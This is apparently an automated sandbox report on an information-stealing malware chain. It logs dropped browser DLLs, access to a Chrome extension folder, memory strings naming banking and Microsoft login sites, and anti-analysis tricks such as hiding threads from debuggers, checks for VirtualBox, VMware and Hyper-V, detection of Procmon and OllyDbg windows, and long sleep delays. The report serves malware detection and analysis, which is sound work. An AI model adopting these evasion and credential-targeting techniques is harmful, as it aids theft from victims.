Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Special instruction interceptor: First address: 5FFDC4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Special instruction interceptor: First address: 6197F43 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Memory allocated: 4AA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Memory allocated: 4D30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Memory allocated: 4B30000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\JKECGDBFCB.exe

Code function: 14_2_04D90328 rdtsc

14_2_04D90328

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 592

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 432	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4308	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6668	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5524	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3176	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3176	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6004	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1440	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7124	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8120	Thread sleep count: 73 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8120	Thread sleep time: -146073s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8104	Thread sleep count: 73 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8104	Thread sleep time: -146073s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7308	Thread sleep count: 281 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7308	Thread sleep time: -8430000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6620	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6620	Thread sleep time: -132066s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep count: 73 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep time: -146073s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8100	Thread sleep count: 68 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8100	Thread sleep time: -136068s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7536	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8116	Thread sleep count: 64 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8116	Thread sleep time: -128064s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6620	Thread sleep count: 592 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6620	Thread sleep time: -1184592s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7308	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7312	Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7372	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7696	Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7696	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7696	Thread sleep count: 189 > 30
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7696	Thread sleep count: 176 > 30
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7696	Thread sleep count: 176 > 30
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7696	Thread sleep count: 126 > 30
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7696	Thread sleep count: 78 > 30
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7696	Thread sleep count: 118 > 30
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 1632	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 8020	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 7676	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe TID: 892	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe TID: 7668	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe TID: 5780	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe TID: 7784	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe TID: 7656	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe TID: 7412	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe TID: 5908	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe TID: 4332	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\JKECGDBFCB.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4EC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000010.00000002.2657266202.0000000000F29000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3321935060.0000000000F29000.00000040.00000001.01000000.0000000E.sdmp, 2533b4b8c7.exe, 00000012.00000002.3320129822.00000000009AE000.00000040.00000001.01000000.0000000F.sdmp, feb3d39b6a.exe, 00000013.00000002.3345447491.0000000005EBB000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3346402660.000000000617A000.00000040.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3320178921.00000000005B8000.00000040.00000001.01000000.00000010.sdmp, 815f2a8fe8.exe, 00000014.00000002.3070485860.0000000000F8D000.00000040.00000001.01000000.00000011.sdmp, feb3d39b6a.exe, 00000016.00000002.3319917877.00000000005B8000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 815f2a8fe8.exe, 00000014.00000002.3062536575.0000000000835000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPP
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: firefox.exe, 00000023.00000002.3238991466.00000132AC460000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:6x.
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: feb3d39b6a.exe, 00000016.00000003.3171403856.00000000056B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: feb3d39b6a.exe, 00000016.00000002.3342025248.0000000005679000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3233382909.000000000567D000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3241071191.000000000567D000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3286619408.0000000005679000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3310416758.0000000005679000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3287512405.000000000567A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ym32rGu9qOBxJlidaNEL07G91Wp5WWQ9jOEqemUc%2FYHvy1e2BwWKsxzDC2g6y70OQ500grZ7Maxdm11AEfEXNaTaNyKtaX9jPGkxN5QKCDD5VwG%2BaloOPYpikudO7JJW3LkiA9U%3D"}],"group":"cf-nel","max_age":604800}
Source: feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000F0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2604363979.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3331222029.0000000001628000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3331222029.0000000001658000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000001008000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000002.3342180435.00000000056A0000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, 815f2a8fe8.exe, 00000014.00000002.3062536575.000000000085F000.00000004.00000020.00020000.00000000.sdmp, 0d957dbf73.exe, 00000015.00000003.3137310167.0000000000CA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: feb3d39b6a.exe, 00000016.00000003.3234413753.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3233162517.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ym32rGu9qOBxJlidaNEL07G91Wp5WWQ9jOEqemUc%2FYHvy1e2BwWKsxzDC2g6y70OQ500grZ7Maxdm11AEfEXNaTaNyKtaX9jPGkxN5QKCDD5VwG%2BaloOPYpikudO7JJW3LkiA9U%3D"}],"group":"cf-nel","max_age":604800}
Source: 0d957dbf73.exe, 00000015.00000003.3169954332.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp, 0d957dbf73.exe, 00000015.00000003.3179111562.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp, 0d957dbf73.exe, 00000015.00000003.3160561525.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp, 0d957dbf73.exe, 00000015.00000002.3186445759.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 0d957dbf73.exe, 00000015.00000003.3046557532.0000000000B02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2604363979.0000000000F44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxL
Source: feb3d39b6a.exe, 00000016.00000003.3171403856.00000000056B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 815f2a8fe8.exe, 00000014.00000002.3062536575.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000002.2604363979.0000000000F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2594058159.00000000005BD000.00000040.00000001.01000000.00000003.sdmp, JKECGDBFCB.exe, 0000000E.00000002.2625269911.0000000000709000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2650483415.0000000000F29000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2657266202.0000000000F29000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3321935060.0000000000F29000.00000040.00000001.01000000.0000000E.sdmp, 2533b4b8c7.exe, 00000012.00000002.3320129822.00000000009AE000.00000040.00000001.01000000.0000000F.sdmp, feb3d39b6a.exe, 00000013.00000002.3345447491.0000000005EBB000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3346402660.000000000617A000.00000040.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3320178921.00000000005B8000.00000040.00000001.01000000.00000010.sdmp, 815f2a8fe8.exe, 00000014.00000002.3070485860.0000000000F8D000.00000040.00000001.01000000.00000011.sdmp, feb3d39b6a.exe, 00000016.00000002.3319917877.00000000005B8000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: feb3d39b6a.exe, 00000016.00000003.3234413753.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3233162517.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: server-timingcfL4;desc="?proto=TCP&rtt=1576&min_rtt=1568&rtt_var=605&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21474&delivery_rate=1784841&cwnd=195&unsent_bytes=0&cid=7873240d477e5de5&ts=791&x=0"alt-svch3=":443"; ma=86400CF-RAY8ef997bf7e8542f5-EWRNEL{"success_fraction":0,"report_to":"cf-nel","max_age":604800}Report-To{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ym32rGu9qOBxJlidaNEL07G91Wp5WWQ9jOEqemUc%2FYHvy1e2BwWKsxzDC2g6y70OQ500grZ7Maxdm11AEfEXNaTaNyKtaX9jPGkxN5QKCDD5VwG%2BaloOPYpikudO7JJW3LkiA9U%3D"}],"group":"cf-nel","max_age":604800}CF-Cache-StatusDYNAMICPersistent-AuthWWW-AuthenticateVaryPHPSESSID=sbsmhq95q5dl2bledkjvs703c0; expires=Fri, 04-Apr-2025 19:38:36 GMT; Max-Age=9999999; path=/Set-CookiecloudflareServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedThu, 19 Nov 1981 08:52:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-TypeContent-LengthAllowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaKeep-AliveTue, 10 Dec 2024 01:51:57 GMTDateProxy-ConnectioncloseConnectionno-store, no-cache, must-revalidateCache-Control
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: feb3d39b6a.exe, 00000016.00000003.3172990683.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Documents\JKECGDBFCB.exe

Code function: 14_2_04D904A2 Start: 04D9051D End: 04D90490

14_2_04D904A2

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Open window title or class name: filemonclass
